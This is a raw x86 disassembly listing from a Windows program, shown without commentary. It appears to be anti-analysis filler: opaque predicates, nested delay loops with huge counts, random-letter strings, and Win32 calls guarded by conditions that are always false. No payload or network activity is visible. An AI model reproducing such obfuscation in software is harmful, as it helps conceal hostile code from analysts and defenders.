cmp dword [ebp - 0x5f8], 2
jge 0x46b476
push dword [ebp - 0x5f8]
lea ecx, [ebp - 0x1ce4]
call fcn.00426311
and dword [eax], 0
jmp 0x46b44a
mov dword [ebp - 0x1c4], 0
jmp 0x46b48f
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 1
jg 0x46b55a
mov dword [ebp - 0x1c24], 1
mov dword [ebp - 0x1c2c], 0x8589
push dword [ebp - 0x1c4]
lea ecx, [ebp - 0x1ce4]
call fcn.00426311
mov ecx, dword [ebp - 0x1c4]
mov eax, dword [eax]
lea esi, [eax + ecx + 0x7b5c6eff]
push 1
lea ecx, [ebp - 0x1ce4]
call fcn.00426311
imul esi, dword [eax]
mov dword [ebp - 0xbcc], esi
push dword [ebp - 0x1c4]
lea ecx, [ebp - 0x1ce4]
call fcn.00426311
mov ecx, dword [ebp - 0xbcc]
mov dword [eax], ecx
cmp dword [ebp - 0xbcc], 0xd697
jl 0x46b517
mov dword [ebp - 0x159c], 1
jmp 0x46b51e
and dword [ebp - 0x159c], 0
mov eax, dword [ebp - 0x1c4]
cmp dword [ebp - 0x159c], eax
jne 0x46b538
mov dword [ebp - 0xbd4], 1
jmp 0x46b53f
and dword [ebp - 0xbd4], 0
mov eax, dword [ebp - 0xbd4]
mov dword [ebp - 0x1c24], eax
mov dword [ebp - 0x1c2c], 1
jmp 0x46b482
lea ecx, [ebp - 0x1ce4]
call fcn.004262f5
cmp dword [ebp - 0xca4], 0x4517
jle 0x46b880
mov dword [ebp - 0xbdc], 0x73cb
mov dword [ebp - 0x1c3c], str.zzlego_hjgohal_gixbwhyy_kjhcsiutv_sibwvtc_ewmzhubqo_bbz_mstu_vqfhf_kwynlt_fffbw_eft
cmp dword [ebp - 0xbdc], 0x7552
jle 0x46b64f
push 0
push 0x1f74
push 0x154e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetWindowExtEx]
and dword [ebp - 0x418], 0
jmp 0x46b5cf
mov eax, dword [ebp - 0x418]
inc eax
mov dword [ebp - 0x418], eax
cmp dword [ebp - 0x418], 0x63d3
jge 0x46b64f
and dword [ebp - 0x7a8], 0
jmp 0x46b5f1
mov eax, dword [ebp - 0x7a8]
inc eax
mov dword [ebp - 0x7a8], eax
cmp dword [ebp - 0x7a8], 0x4eb4
jge 0x46b64a
mov eax, dword [ebp - 0x418]
and eax, dword [ebp - 0x7a8]
cdq
mov dword [ebp - 0x1970], eax
mov dword [ebp - 0x196c], edx
push dword [ebp - 0x196c]
push dword [ebp - 0x1970]
lea ecx, [ebp - 0x28e0]
call fcn.004530f8
pop ecx
pop ecx
mov ecx, eax
call fcn.004026c4
push eax
call fcn.004814e5
pop ecx
lea ecx, [ebp - 0x28e0]
call fcn.004024b1
jmp 0x46b5e4
jmp 0x46b5c2
and dword [ebp - 0x430], 0
jmp 0x46b665
mov eax, dword [ebp - 0x430]
inc eax
mov dword [ebp - 0x430], eax
cmp dword [ebp - 0x430], 0x1217
jge 0x46b83b
and dword [ebp - 0x608], 0
jmp 0x46b68b
mov eax, dword [ebp - 0x608]
inc eax
mov dword [ebp - 0x608], eax
cmp dword [ebp - 0x608], 0x386d
jge 0x46b836
mov dword [ebp - 0x15a4], 0x3aea
mov dword [ebp - 0x1c34], str.nrgnpp_fzlgvn_beucq_sgyvmfc_uewpi_tihgivioc
cmp dword [ebp - 0x15a4], 0x3e87
jle 0x46b7bd
and dword [ebp - 0x420], 0
jmp 0x46b6d5
mov eax, dword [ebp - 0x420]
inc eax
mov dword [ebp - 0x420], eax
cmp dword [ebp - 0x420], 0x1b59
jge 0x46b7bd
and dword [ebp - 0x600], 0
jmp 0x46b6fb
mov eax, dword [ebp - 0x600]
inc eax
mov dword [ebp - 0x600], eax
cmp dword [ebp - 0x600], 0x4819
jge 0x46b7b8
and dword [ebp - 0x428], 0
jmp 0x46b721
mov eax, dword [ebp - 0x428]
inc eax
mov dword [ebp - 0x428], eax
cmp dword [ebp - 0x428], 0x7a91
jge 0x46b7b3
and dword [ebp - 0x6f8], 0
jmp 0x46b747
mov eax, dword [ebp - 0x6f8]
inc eax
mov dword [ebp - 0x6f8], eax
cmp dword [ebp - 0x6f8], 0x332f
jge 0x46b7ae
mov eax, dword [ebp - 0x420]
and eax, dword [ebp - 0x600]
mov ecx, dword [ebp - 0x428]
and ecx, dword [ebp - 0x6f8]
xor eax, ecx
cdq
mov dword [ebp - 0x197c], eax
mov dword [ebp - 0x1978], edx
push dword [ebp - 0x1978]
push dword [ebp - 0x197c]
lea ecx, [ebp - 0x279c]
call fcn.004530f8
pop ecx
pop ecx
mov ecx, eax
call fcn.004026c4
push eax
call fcn.004814e5
pop ecx
lea ecx, [ebp - 0x279c]
call fcn.004024b1
jmp 0x46b73a
jmp 0x46b714
jmp 0x46b6ee
jmp 0x46b6c8
mov eax, dword [ebp - 0x430]
cdq
idiv dword [ebp - 0x608]
mov eax, edx
cdq
mov dword [ebp - 0x1988], eax
mov dword [ebp - 0x1984], edx
and dword [ebp - 4], 0
cmp dword [ebp - 0x15a4], 0x39dc
jge 0x46b7f5
push dword [ebp - 0x1c34]
call fcn.004814e5
pop ecx
jmp 0x46b811
or dword [ebp - 4], 0xffffffff
jmp 0x46b81b
push dword [ebp - 0x1984]
push dword [ebp - 0x1988]
mov ecx, 0xab4140
call fcn.0047c836
jmp 0x46b67e
jmp 0x46b658
mov dword [ebp - 4], 2
cmp dword [ebp - 0xbdc], 0x7191
jge 0x46b85a
push dword [ebp - 0x1c3c]
call fcn.004814e5
pop ecx
jmp 0x46b876
or dword [ebp - 4], 0xffffffff
jmp 0x46b880
mov dword [ebp - 0xe4], 1
mov dword [ebp - 0x82c], 0
mov dword [ebp - 0x1c44], 0x36b16b47
mov dword [ebp - 0x438], 0
jmp 0x46b8b7
mov eax, dword [ebp - 0x438]
inc eax
mov dword [ebp - 0x438], eax
cmp dword [ebp - 0x438], 1
jge 0x46b8d3
mov eax, dword [ebp - 0x438]
mov dword [ebp + eax*4 - 0x2d4], 1
jmp 0x46b8aa
mov dword [ebp - 0xe4], 0
jmp 0x46b8ec
mov eax, dword [ebp - 0xe4]
inc eax
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 0
jg 0x46ba54
mov dword [ebp - 0x11c], 1
mov dword [ebp - 0x11c], 0
jmp 0x46b91c
mov eax, dword [ebp - 0x11c]
inc eax
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0
jg 0x46b96b
mov eax, 0xe164caf1
test eax, eax
je 0x46b94a
mov eax, dword [ebp - 0xe4]
cmp dword [ebp + eax*4 - 0x2d4], 0
je 0x46b94a
mov dword [ebp - 0x15ac], 1
jmp 0x46b951
and dword [ebp - 0x15ac], 0
mov eax, dword [ebp - 0x15ac]
mov dword [ebp - 0x82c], eax
mov eax, dword [ebp - 0x82c]
mov dword [ebp - 0x1c44], eax
jmp 0x46b90f
mov dword [ebp - 0x11c], 0
jmp 0x46b984
mov eax, dword [ebp - 0x11c]
inc eax
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0
jg 0x46ba4f
mov dword [ebp - 0xbe4], 0xfffffff8
mov dword [ebp - 0x1c4c], 0xffffffff
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x2454], eax
mov eax, dword [ebp - 0xe4]
mov eax, dword [ebp + eax*4 - 0x2d4]
mov dword [ebp - 0x2218], eax
mov eax, dword [ebp - 0xe4]
mov eax, dword [ebp + eax*4 - 0x2d4]
mov dword [ebp - 0xbe4], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xe4]
mov edx, dword [ebp - 0xbe4]
sub edx, dword [ebp + ecx*4 - 0x2d4]
imul ecx, edx, 0xffffffff
imul ecx, dword [ebp + eax - 0x2d4]
cmp dword [ebp - 0xe4], ecx
jg 0x46ba0f
mov dword [ebp - 0x15b4], 1
jmp 0x46ba16
and dword [ebp - 0x15b4], 0
mov eax, dword [ebp - 0xe4]
mov eax, dword [ebp + eax*4 - 0x2d4]
cmp eax, dword [ebp - 0x15b4]
jle 0x46ba37
mov dword [ebp - 0xbec], 1
jmp 0x46ba3e
and dword [ebp - 0xbec], 0
mov eax, dword [ebp - 0xbec]
mov dword [ebp - 0x1c4c], eax
jmp 0x46b977
jmp 0x46b8df
mov dword [ebp - 0x82c], 0xffffffff
mov dword [ebp - 0x15bc], 0xfffffffc
mov dword [ebp - 0x1c5c], 0
mov dword [ebp - 0x770], 0
jmp 0x46ba8b
mov eax, dword [ebp - 0x770]
inc eax
mov dword [ebp - 0x770], eax
cmp dword [ebp - 0x770], 1
jge 0x46baa7
mov eax, dword [ebp - 0x770]
mov dword [ebp + eax*4 - 0x1c54], 0x9714
jmp 0x46ba7e
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1c54]
mov dword [ebp - 0x15bc], eax
mov eax, dword [ebp - 0x15bc]
mov dword [ebp - 0x1c5c], eax
mov byte [ebp - 0x1fc], 0
movzx eax, byte [ebp - 0x1fc]
test eax, eax
je 0x46bae0
push 0
call dword [sym.imp.USER32.dll_GetMenuItemCount]
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x834], 1
mov dword [ebp - 0x440], 0
jmp 0x46bb0d
mov eax, dword [ebp - 0x440]
inc eax
mov dword [ebp - 0x440], eax
cmp dword [ebp - 0x440], 3
jge 0x46bb29
mov eax, dword [ebp - 0x440]
mov dword [ebp + eax*4 - 0x970], 3
jmp 0x46bb00
mov dword [ebp - 0x90], 2
jmp 0x46bb42
mov eax, dword [ebp - 0x90]
dec eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0
jl 0x46bd5a
mov dword [ebp - 0x8dc], 8
mov dword [ebp - 0x1c6c], 0xe60a2fc5
mov byte [ebp - 0x1fe], 0
movzx eax, byte [ebp - 0x1fe]
test eax, eax
je 0x46bb83
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
mov eax, dword [ebp - 0x90]
cmp dword [ebp + eax*4 - 0x970], 0
jne 0x46bca2
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp + eax*4 - 0x970]
push 4
pop ecx
shl ecx, 1
sub eax, dword [ebp + ecx - 0x970]
imul eax, dword [ebp - 0x8dc]
mov dword [ebp - 0x834], eax
cmp dword [ebp - 0x834], 0xffffffff
je 0x46bbd8
cmp dword [ebp - 0x90], 0
jne 0x46bbd8
and dword [ebp - 0xbf4], 0
jmp 0x46bbe2
mov dword [ebp - 0xbf4], 1
cmp dword [ebp - 0xbf4], 0xac89
jle 0x46bbfa
mov dword [ebp - 0x1c64], 1
jmp 0x46bc01
and dword [ebp - 0x1c64], 0
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp + eax*4 - 0x970]
mov dword [ebp - 0x2450], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x970]
mov dword [ebp - 0x2220], eax
mov eax, dword [ebp - 0x8dc]
mov dword [ebp - 0x245c], eax
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0x2228], eax
push 0xfffffffffffffffb
pop eax
dec eax
je 0x46bc61
mov eax, dword [ebp - 0x90]
cmp dword [ebp + eax*4 - 0x970], 0
je 0x46bc61
mov dword [ebp - 0x15c4], 1
jmp 0x46bc68
and dword [ebp - 0x15c4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x970]
cmp dword [ebp - 0x15c4], eax
je 0x46bc89
mov dword [ebp - 0xbfc], 1
jmp 0x46bc90
and dword [ebp - 0xbfc], 0
cmp dword [ebp - 0xbfc], 0xfffffff7
je 0x46bca2
and dword [ebp - 0x15cc], 0
jmp 0x46bcac
mov dword [ebp - 0x15cc], 1
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp + eax*4 - 0x970]
cmp dword [ebp - 0x15cc], eax
jge 0x46bcdd
mov eax, dword [ebp - 0x90]
cmp dword [ebp + eax*4 - 0x970], 0
je 0x46bcdd
mov dword [ebp - 0xc04], 1
jmp 0x46bce4
and dword [ebp - 0xc04], 0
cmp dword [ebp - 0xc04], 1
jne 0x46bcf9
mov dword [ebp - 0x15d4], 1
jmp 0x46bd00
and dword [ebp - 0x15d4], 0
mov eax, dword [ebp - 0x90]
add eax, dword [ebp - 0x15d4]
push 4
pop ecx
shl ecx, 1
cmp eax, dword [ebp + ecx - 0x970]
jg 0x46bd36
cmp dword [ebp - 0x8dc], 0
je 0x46bd36
push 0xfffffffffffffff6
pop eax
test eax, eax
je 0x46bd36
mov dword [ebp - 0xc0c], 1
jmp 0x46bd3d
and dword [ebp - 0xc0c], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x970]
mov eax, dword [ebp - 0x834]
mov dword [ebp - 0x1c6c], eax
jmp 0x46bb35
mov dword [ebp - 4], 4
cmp dword [ebp - 0x15dc], 0x7182
jge 0x46bd79
push dword [ebp - 0x1c74]
call fcn.004814e5
pop ecx
jmp 0x46bd95
or dword [ebp - 4], 0xffffffff
jmp 0x46bd9f
mov dword [ebp - 0xd4], 0xffffffff
mov dword [ebp - 0x700], 1
mov dword [ebp - 0x3c0], 0x1c36b586
mov dword [ebp - 0x610], 0
jmp 0x46bdd6
mov eax, dword [ebp - 0x610]
inc eax
mov dword [ebp - 0x610], eax
cmp dword [ebp - 0x610], 4
jge 0x46bdf2
mov eax, dword [ebp - 0x610]
mov dword [ebp + eax*4 - 0x259c], 0xffffffff
jmp 0x46bdc9
mov eax, dword [ebp - 0x700]
cmp dword [ebp - 0xd4], eax
jne 0x46bf50
push 4
lea ecx, [ebp - 0x20b4]
call fcn.00426223
mov dword [ebp - 0x448], 0
jmp 0x46be2a
mov eax, dword [ebp - 0x448]
inc eax
mov dword [ebp - 0x448], eax
cmp dword [ebp - 0x448], 4
jge 0x46be4c
push dword [ebp - 0x448]
lea ecx, [ebp - 0x20b4]
call fcn.00426311
mov dword [eax], 0x88adae8c
jmp 0x46be1d
mov dword [ebp - 0xd4], 3
jmp 0x46be65
mov eax, dword [ebp - 0xd4]
dec eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 0
jl 0x46bf40
mov dword [ebp - 0x93c], 0x83d87e3b
mov dword [ebp - 0x1c7c], 0xfffffffe
xor eax, eax
inc eax
sub eax, dword [ebp - 0x93c]
cmp eax, dword [ebp - 0xd4]
jne 0x46bea3
mov dword [ebp - 0xc14], 1
jmp 0x46beaa
and dword [ebp - 0xc14], 0
cmp dword [ebp - 0xc14], 1
jne 0x46bebf
mov dword [ebp - 0x15e4], 1
jmp 0x46bec6
and dword [ebp - 0x15e4], 0
mov eax, dword [ebp - 0x700]
imul eax, dword [ebp - 0x15e4]
mov dword [ebp - 0x93c], eax
cmp dword [ebp - 0x93c], 0
jne 0x46bf04
push 3
lea ecx, [ebp - 0x20b4]
call fcn.00426311
cmp dword [eax], 0
jne 0x46bf04
push 0xfffffffffffffffb
pop eax
test eax, eax
jne 0x46bf04
and dword [ebp - 0xc1c], 0
jmp 0x46bf0e
mov dword [ebp - 0xc1c], 1
mov eax, dword [ebp - 0x1c7c]
cmp dword [ebp - 0xc1c], eax
jge 0x46bf28
mov dword [ebp - 0x15ec], 1
jmp 0x46bf2f
and dword [ebp - 0x15ec], 0
mov eax, dword [ebp - 0x15ec]
mov dword [ebp - 0x3c0], eax
jmp 0x46be58
lea ecx, [ebp - 0x20b4]
call fcn.004262f5
jmp 0x46c0e2
mov dword [ebp - 0x214], 0x51cd25bb
mov byte [ebp - 0x1f3], 0
movzx eax, byte [ebp - 0x1f3]
test eax, eax
je 0x46bf7e
push 0x2704
push 0x14c6
push 0
call dword [sym.imp.USER32.dll_CheckMenuItem]
mov eax, dword [ebp - 0x3c0]
mov dword [ebp - 0xc24], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xc24]
mov dword [ebp + eax - 0x259c], ecx
mov eax, dword [ebp - 0x214]
cmp dword [ebp - 0xc24], eax
jge 0x46bfb2
cmp dword [ebp - 0x214], 0
mov eax, dword [ebp - 0x214]
imul eax, dword [ebp - 0x3c0]
cmp eax, dword [ebp - 0x700]
jne 0x46bfd3
mov dword [ebp - 0x15f4], 1
jmp 0x46bfda
and dword [ebp - 0x15f4], 0
cmp dword [ebp - 0x15f4], 0xeebcb174
jb 0x46bff2
mov dword [ebp - 0xc2c], 1
jmp 0x46bff9
and dword [ebp - 0xc2c], 0
mov eax, dword [ebp - 0xc2c]
sub eax, 0xa
cmp eax, dword [ebp - 0xd4]
jg 0x46c016
mov dword [ebp - 0x15fc], 1
jmp 0x46c01d
and dword [ebp - 0x15fc], 0
mov eax, dword [ebp - 0x214]
sub eax, dword [ebp - 0x15fc]
cmp eax, dword [ebp - 0x214]
jne 0x46c03d
mov dword [ebp - 0x1c84], 1
jmp 0x46c044
and dword [ebp - 0x1c84], 0
mov eax, dword [ebp - 0x700]
mov dword [ebp - 0x2464], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x259c]
sub eax, dword [ebp - 0x214]
je 0x46c07a
mov eax, 0xf55f
test eax, eax
je 0x46c07a
mov dword [ebp - 0xc34], 1
jmp 0x46c081
and dword [ebp - 0xc34], 0
mov eax, dword [ebp - 0xd4]
cmp dword [ebp - 0xc34], eax
jle 0x46c09b
mov dword [ebp - 0x1604], 1
jmp 0x46c0a2
and dword [ebp - 0x1604], 0
mov eax, dword [ebp - 0x1604]
sub eax, dword [ebp - 0xd4]
add eax, dword [ebp - 0x214]
mov dword [ebp - 0x3c0], eax
cmp dword [ebp - 0x3c0], 0xfffffff8
ja 0x46c0cf
mov dword [ebp - 0xc3c], 1
jmp 0x46c0d6
and dword [ebp - 0xc3c], 0
mov eax, dword [ebp - 0xc3c]
mov dword [ebp - 0xd4], eax
xor ecx, ecx
call fcn.0042658e
push eax
call fcn.00481213
pop ecx
mov dword [ebp - 0x3c8], 0xea311c3f
mov dword [ebp - 0x184], 0
jmp 0x46c113
mov eax, dword [ebp - 0x184]
inc eax
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 2
jge 0x46c12f
mov eax, dword [ebp - 0x184]
mov dword [ebp + eax*4 - 0x1828], 0x98a8f939
jmp 0x46c106
mov dword [ebp - 0x184], 0
jmp 0x46c148
mov eax, dword [ebp - 0x184]
inc eax
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 2
jge 0x46c164
mov eax, dword [ebp - 0x184]
mov dword [ebp + eax*4 - 0x2c0], 0x885c6f1b
jmp 0x46c13b
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x2c0], 0
jmp 0x46c192
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2c0], 1
jg 0x46c643
mov dword [ebp - 0x1dc], 0xdd8d1303
mov dword [ebp - 0xf4], 0x9ea7eb8e
mov dword [ebp - 0x1634], 0xfffffffd
mov eax, dword [ebp - 0x1dc]
inc eax
mov dword [ebp - 0x1dc], eax
mov dword [ebp - 0x1dc], 0
jmp 0x46c1ea
cmp dword [ebp - 0x1dc], 1
jg 0x46c63e
mov dword [ebp - 0x34c], 0xd4e06482
mov dword [ebp - 0x34c], 0xfffffff7
jmp 0x46c666
cmp dword [ebp - 0x34c], 0xffffffe5
jg 0x46c68e